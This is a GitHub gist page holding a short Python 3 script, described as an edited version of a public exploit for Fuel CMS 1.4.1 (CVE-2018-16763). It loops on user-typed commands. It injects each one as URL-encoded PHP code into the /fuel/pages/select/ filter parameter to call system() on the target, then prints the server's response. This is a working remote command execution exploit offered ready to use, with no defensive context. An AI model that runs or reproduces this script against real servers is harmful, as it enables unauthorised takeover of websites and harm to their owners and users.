Skip to content

Instantly share code, notes, and snippets.

@momenbasel
Created September 18, 2020 21:08
Show Gist options
  • Save momenbasel/fe5b052eaac086c4e7dba116a9e3e957 to your computer and use it in GitHub Desktop.
Save momenbasel/fe5b052eaac086c4e7dba116a9e3e957 to your computer and use it in GitHub Desktop.
python3 edited fuelCMS 1.4.1 exploit (https://www.exploit-db.com/exploits/47138) 2018-16763
#!/bin/python3
import requests
import urllib
url = "http://rhost/"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
cmd = input('cmd:')
payload = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(cmd)+"%27%29%2b%27"
r = requests.get(payload)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print(r.text[0:dup])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment